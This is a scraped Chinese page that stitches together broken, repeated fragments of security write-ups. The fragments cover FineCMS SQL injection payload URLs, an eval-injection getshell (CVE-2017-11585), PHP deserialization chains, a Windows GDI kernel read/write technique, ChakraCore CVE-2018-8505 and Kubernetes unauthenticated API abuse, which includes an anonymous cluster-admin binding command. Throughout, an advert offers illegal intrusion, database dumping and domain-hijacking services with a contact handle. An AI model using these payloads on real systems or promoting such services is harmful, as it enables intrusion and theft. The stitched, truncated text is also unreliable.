通过安全码,从data2函数进入list_tag函数,设置
这4部分有一个通用的
PoC
每一个action进入语句的条件都不一定,这里贴上4个payload
eval injection导致的getshell(CVE-2017-11585)
Technical Description:
在list_tag函数中事实上产生的问题更多,当action=cache的时候
这部分其实触发挺简单的,只要保证每个步骤都存在就可以了,name这里需要设置MEMBER,我们可以跟过去看看
只要保证有返回就好了,最后进入eval语句,要保证语法正确。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
action=related、action=form、action=member、action=module这4部分有一个通用的
$system['field'],这部分其实稍微有点儿奇怪,没做任何过滤就被直接拼接进入了SQL语句。PoC
每一个action进入语句的条件都不一定,这里贴上4个payload
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e¶m=action=related%20module=news%20tag=1%20field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70¶m=action=form%20fo
rm=1%20field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70¶m=action=member%20
field=1%0aunion%0aselect%0auser()%23
1
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e¶m=action=module%20form=1%20module=news%20field=1%0aunion%0aselect%0auser()%23
eval injection导致的getshell(CVE-2017-11585)
Technical Description:
在list_tag函数中事实上产生的问题更多,当action=cache的时候
这部分其实触发挺简单的,只要保证每个步骤都存在就可以了,name这里需要设置MEMBER,我们可以跟过去看看
_cache_var函数public function _cache_var($name, $site = SITE_ID) {
$data = NULL;
$name = strtoupper($name);
switch ($name) {
case 'MEMBER':
$data = $this->ci->get_cache('member');
break;
case 'URLRULE':
$data = $this->ci->get_cache('urlrule');
break;
case 'MODULE':
$data = $this->ci->get_cache('module');
break;
case 'CATEGORY':
$site = $site ? $site : SITE_ID;
$data = $this->ci->get_cache('category-'.$site);
break;
default:
$data = $this->ci->get_cache($name.'-'.$site);
break;
}
return $data;
}只要保证有返回就好了,最后进入eval语句,要保证语法正确。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
存储$_SESSION用php_serialize处理器,读取数据用php处理器
通过注入 | 字符伪造了对象的序列化数据
利用链:C的__destruct在echo的时候,可以调用B的__toString,再通过(string)来调用A类的__toString
这里面牵涉到两个问题,第一个是C中的wakeup,这个可以通过修改属性名的个数绕过,第二个就是
这个可以通过
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通过注入 | 字符伪造了对象的序列化数据
利用链:C的__destruct在echo的时候,可以调用B的__toString,再通过(string)来调用A类的__toString
这里面牵涉到两个问题,第一个是C中的wakeup,这个可以通过修改属性名的个数绕过,第二个就是
$this->obj->token === $this->obj->ticket这个可以通过
&指向同一变量渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
该结构体的两个成员分别用于指定所加入的多播组的组IP地址和所要加入组的本地接口IP地址。
其中
所列出的那些源的多播数据报和不接收
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
ip_setsockopt() 实现了该功能,它通过调用 ip_mc_join_group() 把 socket 加入到多播组。include/net/inet_sock.h
struct inet_sock {
/* sk and pinet6 has to be the first two members of inet_sock */
struct sock sk;
#if IS_ENABLED(CONFIG_IPV6)
struct ipv6_pinfo *pinet6;
#endif
/* Socket demultiplex comparisons on incoming packets. */
#define inet_daddr sk.__sk_common.skc_daddr
#define inet_rcv_saddr sk.__sk_common.skc_rcv_saddr
#define inet_dport sk.__sk_common.skc_dport
#define inet_num sk.__sk_common.skc_num
[...]
__u8 tos;
__u8 min_ttl;
__u8 mc_ttl;
__u8 pmtudisc;
__u8 recverr:1,
is_icsk:1,
freebind:1,
hdrincl:1,
mc_loop:1,
[...]
int uc_index;
int mc_index;
__be32 mc_addr;
struct ip_mc_socklist __rcu *mc_list;
struct inet_cork_full cork;
};
其中
sk.__sk_common.skc_rcv_saddr 对于组播而言,只接收该地址发来的组播数据,对于单播而言,只从该地址所代表的网卡接收数据;mc_ttl 为组播的 ttl ;mc_loop 表示组播是否发向回路;mc_index 表示组播使用的本地设备接口的索引;mc_addr 表示组播源地址;mc_list 为组播列表。next_rcu 指向链表的下一个节点;multi 表示组信息,即在哪一个本地接口上,加入到哪一个多播组;sfmode 是过滤模式,取值为 MCAST_INCLUDE 或 MCAST_EXCLUDE ,分别表示只接收 sflist所列出的那些源的多播数据报和不接收
sflist 所列出的那些源的多播数据报;sflist 是源列表。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
由于
由于覆盖了
因此申请一块
另外还需要修复下一页中
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
width 覆盖为了 0xffffffff ,导致buffer的读写空间非常大,这时就能把这个 object 作为manager ,下下一页中的 Bitmap GDI Object 作为 worker ,通过 SetBitmapBits 修改worker 的 pvScan0 属性(相当于 buffer 地址)来设置想读写的地址,再对 worker 调用SetBitmapBits 、 GetBitmapBits 来进行任意地址读写。由于覆盖了
hdev 属性,在 GetBitmapBits 时会在 PDEVOBJ::bAllowShareAccess 函数中判断0x0000000100000000 地址处的值是否为 0x1 .因此申请一块
0x0000000100000000 地址处的内存并赋值为 0x1 使 PDEVOBJ::bAllowShareAccess 函数返回 0VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(fake, 0x1, 0x100);
另外还需要修复下一页中
region 和 bitmap gdi 对象的 pool header渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
这里面可以拿到每个 TAB 页的详细信息。第二个新建 TAB 页访问之后,也会返回新 TAB 页的信息。其中就有一个很重要的字段:
另外一个问题,怎么处理监听事件的问题。一开始我还抓 websocket 包,发现并没发送监听事件相关的内容,就陷入了无尽的思索。然后无意间发现,当我们发送完 Page.navigate 这个命令后,除了返回一个 id 相等的 json 之外,还会发送回来一堆东西。一开始代码中只 recv 了一次,所以一直没有看到这些,其中就有所有触发的事件,大概是这个样子:
这样只要不停的接受返回,就可以拿到触发的所有事件了。但是在我们自己封 Python 包的时候,出现了问题。我们使用的是 websocket-client 库,这个 recv() 如果没有消息时,会 block 住,只好采取曲线救国策略。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
webSocketDebuggerUrl,这个就是我们要拿的 websocket 的地址。另外一个问题,怎么处理监听事件的问题。一开始我还抓 websocket 包,发现并没发送监听事件相关的内容,就陷入了无尽的思索。然后无意间发现,当我们发送完 Page.navigate 这个命令后,除了返回一个 id 相等的 json 之外,还会发送回来一堆东西。一开始代码中只 recv 了一次,所以一直没有看到这些,其中就有所有触发的事件,大概是这个样子:
{"id":2,"result":{"frameId":"33320.1"}}
{"method":"Page.frameNavigated","params":{"frame":{"id":"33320.1","loaderId":"33320.2","url":"http://x.x.x.x/a.html","securityOrigin":"http://x.x.x.x","mimeType":"text/html"}}}
{"method":"Page.javascriptDialogOpening","params":{"message":"9527","type":"alert"}}
{"method":"Page.javascriptDialogClosed","params":{"result":true}}
{"method":"Page.loadEventFired","params":{"timestamp":131319.852874}}
{"method":"Page.frameStoppedLoading","params":{"frameId":"33320.1"}}
{"method":"Page.domContentEventFired","params":{"timestamp":131319.853225}}这样只要不停的接受返回,就可以拿到触发的所有事件了。但是在我们自己封 Python 包的时候,出现了问题。我们使用的是 websocket-client 库,这个 recv() 如果没有消息时,会 block 住,只好采取曲线救国策略。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
avaScript 引擎负责运行开发编写的 JS 代码。它由很多部分组成,对我们而言最重要的是 JIT 编译器,它的作用是当有些函数变得很热门被调用很多次时,它会把这个函数编译成机器代码来改进它的性能。JIT 编译器还负责优化代码。它具有很多针对代码的假设,它不希望这些假设崩溃。我们随后会讲讲 JIT 编译器中出现的相关漏洞问题。
来了解下 JavaScript 的基础知识,它是一种动态输入语言,可读性尚可。JS 对象具有“原型”,用于从其它对象中继承各种功能,它在漏洞发现过程中很重要。它可通过 _proto_ 属性更改对象的原型进行修改。 Proxy 是可用于重新定义基础操作的对象。我们可以通过这些基础操作,将调用限制在 getter 和 setter 等函数中。
来看下 ChakraCore。JavaScript 具有数组,而 ChakraCore 具有类型数组。我们来看看第一种类型 JavascriptNativeIntArray。它用于存储整数,每个元素具有四个字节。(举例: varint_arr=[1])另外一种类型是 JavascriptNativeFloatArray,它用于存储浮点数,和C语言不同,它的每个元素具有8个字节(举例 varfloat_arr=[13.37])。 JavascriptArray 用于存储对象(主要是指针),每个元素具有8个字节(举例: varobject_arr=[{}])。
我们来看下如何转换这些类型。
其中最后一种 (也就是 aray2._proto_=array1 中的 array1 直接转换为 JavascriptArray) 转换在 JavaScript 引擎很少见,但对于我们今天讲的主题很重要。当我们有两个数组,并将其中一个设置为另外一个的原型,那么充当原型的这个数组就会被直接转换为 JavascriptArray。这一点我们稍后再着重讲。
我们再来看看这些数组在内存中是什么样的。举个例子:
我们来看看实际在内存中,当调试如下样本代码时,可以看到我们刚才提到的字段状态 (vararr=[0xaaaaaa,0x31377];)。
红框部分是 JavascriptArray 属性,我们能看到数组的初始值,也就是 ArrayFlags 的值。绿框部分是实际的片段属性,它有长度、大小。蓝框是片段的内存布局(包括元素,下图的地址是 pArr->head)。图中右下角我们定义了两个片段。那么什么是 ArrayFlags ?它们是提示数组的某些东西的一些 flag。在这个案例中,它被定义为一个枚举类型。我们感兴趣的字段是 JavascriptArray 的 arrayFlags 字段 HasNoMissingValues(如图)。
在我们的例子中,被我们定义为 ArrayFlags 的 InitialArrayValue 实际上由两个不同的 flag 组成:一个是 ObjectArrayFlagsTag flag,它和我们讲的内容不重要就不讲了;我们将重点看第二个 HasNoMissingValues flag,它说明数组并不存在缺失的值,也就是说数组中不存在任何洞 (holes)。那么,“洞”是什么意思?我们创建一个数组,元素之间有一些值。在 ChakraCore 案例中,它有三个元素,但中间的一个元素是缺失的。
放在这里的值,它们在内存中表示为这些常数。我举这个例子是因为这样我们更容易地能在内存布局中发现它们。
像这里(如图)就存在一个“洞”,它并没有开启 HasNoMissingValues,也就是说数组中存在洞,数组中确实存在缺失的值。这看似很合理,但当我们查看内存布局时,我们会发现一些奇怪之处。我们来看下这些所谓的“缺失的值”是如何在内存中表示的。
这(图)是片段的内存转储,红色部分是数组的元素。我们看到 deadbeef deadbeef ,但在中间即“缺失的值”(“洞”)的位置,我们看到了一些 Magic 常数。 0xfff80002fff80002是从哪里来的?这些常数代表的是“缺失的值”或者说数组中的“洞”似乎能说得通。但如之前所述,我们已经知道有一些东西能代表“缺失的值”,就是没有 HasNoMissingValues flag。而现在我们似乎发现了另外一种表示方法,就是数组的内容(上面提到的 Magic 常量)。
这很奇怪,也引发了很多问题:数组的 flag 和数组的内容不匹配怎么办? HasNoMissingValues 设为真,那么就意味着不存在任何“洞”;但是 数组中实际上存在一个“缺失的值”。另外,我们在某种程度上把“数据”和“元数据”混为一谈了,因为如果把常量当作控制流,那么我们如果能够伪造它的话就很有意思了。
事实证明,我们真的能够伪造这个“缺失的值”。这是由 @s0rryMybad 和 @lokihardt 发现的漏洞(如上图),获得了CVE 编号 CVE-2018-8505。他们就是把我们之前看到的常量转换为浮点数数组,从而伪造了“缺失的值”,进而发现了漏洞。缓解这个漏洞的方法有很多,可以通过不断更改这个Magic值常量或增加更多的检查加固安全性。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
来了解下 JavaScript 的基础知识,它是一种动态输入语言,可读性尚可。JS 对象具有“原型”,用于从其它对象中继承各种功能,它在漏洞发现过程中很重要。它可通过 _proto_ 属性更改对象的原型进行修改。 Proxy 是可用于重新定义基础操作的对象。我们可以通过这些基础操作,将调用限制在 getter 和 setter 等函数中。
来看下 ChakraCore。JavaScript 具有数组,而 ChakraCore 具有类型数组。我们来看看第一种类型 JavascriptNativeIntArray。它用于存储整数,每个元素具有四个字节。(举例: varint_arr=[1])另外一种类型是 JavascriptNativeFloatArray,它用于存储浮点数,和C语言不同,它的每个元素具有8个字节(举例 varfloat_arr=[13.37])。 JavascriptArray 用于存储对象(主要是指针),每个元素具有8个字节(举例: varobject_arr=[{}])。
我们来看下如何转换这些类型。
其中最后一种 (也就是 aray2._proto_=array1 中的 array1 直接转换为 JavascriptArray) 转换在 JavaScript 引擎很少见,但对于我们今天讲的主题很重要。当我们有两个数组,并将其中一个设置为另外一个的原型,那么充当原型的这个数组就会被直接转换为 JavascriptArray。这一点我们稍后再着重讲。
我们再来看看这些数组在内存中是什么样的。举个例子:
我们来看看实际在内存中,当调试如下样本代码时,可以看到我们刚才提到的字段状态 (vararr=[0xaaaaaa,0x31377];)。
红框部分是 JavascriptArray 属性,我们能看到数组的初始值,也就是 ArrayFlags 的值。绿框部分是实际的片段属性,它有长度、大小。蓝框是片段的内存布局(包括元素,下图的地址是 pArr->head)。图中右下角我们定义了两个片段。那么什么是 ArrayFlags ?它们是提示数组的某些东西的一些 flag。在这个案例中,它被定义为一个枚举类型。我们感兴趣的字段是 JavascriptArray 的 arrayFlags 字段 HasNoMissingValues(如图)。
在我们的例子中,被我们定义为 ArrayFlags 的 InitialArrayValue 实际上由两个不同的 flag 组成:一个是 ObjectArrayFlagsTag flag,它和我们讲的内容不重要就不讲了;我们将重点看第二个 HasNoMissingValues flag,它说明数组并不存在缺失的值,也就是说数组中不存在任何洞 (holes)。那么,“洞”是什么意思?我们创建一个数组,元素之间有一些值。在 ChakraCore 案例中,它有三个元素,但中间的一个元素是缺失的。
放在这里的值,它们在内存中表示为这些常数。我举这个例子是因为这样我们更容易地能在内存布局中发现它们。
像这里(如图)就存在一个“洞”,它并没有开启 HasNoMissingValues,也就是说数组中存在洞,数组中确实存在缺失的值。这看似很合理,但当我们查看内存布局时,我们会发现一些奇怪之处。我们来看下这些所谓的“缺失的值”是如何在内存中表示的。
这(图)是片段的内存转储,红色部分是数组的元素。我们看到 deadbeef deadbeef ,但在中间即“缺失的值”(“洞”)的位置,我们看到了一些 Magic 常数。 0xfff80002fff80002是从哪里来的?这些常数代表的是“缺失的值”或者说数组中的“洞”似乎能说得通。但如之前所述,我们已经知道有一些东西能代表“缺失的值”,就是没有 HasNoMissingValues flag。而现在我们似乎发现了另外一种表示方法,就是数组的内容(上面提到的 Magic 常量)。
这很奇怪,也引发了很多问题:数组的 flag 和数组的内容不匹配怎么办? HasNoMissingValues 设为真,那么就意味着不存在任何“洞”;但是 数组中实际上存在一个“缺失的值”。另外,我们在某种程度上把“数据”和“元数据”混为一谈了,因为如果把常量当作控制流,那么我们如果能够伪造它的话就很有意思了。
事实证明,我们真的能够伪造这个“缺失的值”。这是由 @s0rryMybad 和 @lokihardt 发现的漏洞(如上图),获得了CVE 编号 CVE-2018-8505。他们就是把我们之前看到的常量转换为浮点数数组,从而伪造了“缺失的值”,进而发现了漏洞。缓解这个漏洞的方法有很多,可以通过不断更改这个Magic值常量或增加更多的检查加固安全性。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
K8s的API Server默认的服务端口是8080(不安全端口)和6443(安全端口)。 8080端口提供HTTP服务,无认证授权机制;6443端口提供HTTPS服务,支持认证(使用token或客户端证书进行认证)和授权服务。默认情况下,8080 端口未启用,6443 端口已启用。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml 配置文件
如果目标K8s的8080端口开放,由于没有认证授权机制,会出现非法访问的情况。
如果目标K8s的6443端口开放,如果配置不正确,也可能导致越权访问。
### 漏洞重现
#### 1.端口8080
````
默认情况下8080端口是关闭的,需要手动打开。
vim /etc/kubernetes/manifests/kube-apiserver.yaml
````
````
重启k8s
systemctl 重新启动kubectl
#### 2.端口6443
如果配置不当,将“system:anonymous”用户绑定到“cluster-admin”用户组将允许匿名用户以管理员权限访问端口6443。
````
执行以下命令将“system:anonymous”用户绑定到“cluster-admin”用户组
kubectl 创建集群角色绑定cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
``
了解这种未经授权的访问有什么好处呢?或者说我们应该如何使用它?
使用方法如下:
我们可以使用任何安装了kubectl 的机器。简单来说,知道API服务器没有被授权,我们其实可以使用kubectl来执行命令:
````
查看集群信息
kubectl -s http://101.26.108.16:8080 集群信息
正常情况下访问6443端口会提示Forbidden。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
如果目标K8s的8080端口开放,由于没有认证授权机制,会出现非法访问的情况。
如果目标K8s的6443端口开放,如果配置不正确,也可能导致越权访问。
### 漏洞重现
#### 1.端口8080
````
默认情况下8080端口是关闭的,需要手动打开。
vim /etc/kubernetes/manifests/kube-apiserver.yaml
````
````
重启k8s
systemctl 重新启动kubectl
#### 2.端口6443
如果配置不当,将“system:anonymous”用户绑定到“cluster-admin”用户组将允许匿名用户以管理员权限访问端口6443。
````
执行以下命令将“system:anonymous”用户绑定到“cluster-admin”用户组
kubectl 创建集群角色绑定cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
``
了解这种未经授权的访问有什么好处呢?或者说我们应该如何使用它?
使用方法如下:
我们可以使用任何安装了kubectl 的机器。简单来说,知道API服务器没有被授权,我们其实可以使用kubectl来执行命令:
````
查看集群信息
kubectl -s http://101.26.108.16:8080 集群信息
正常情况下访问6443端口会提示Forbidden。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM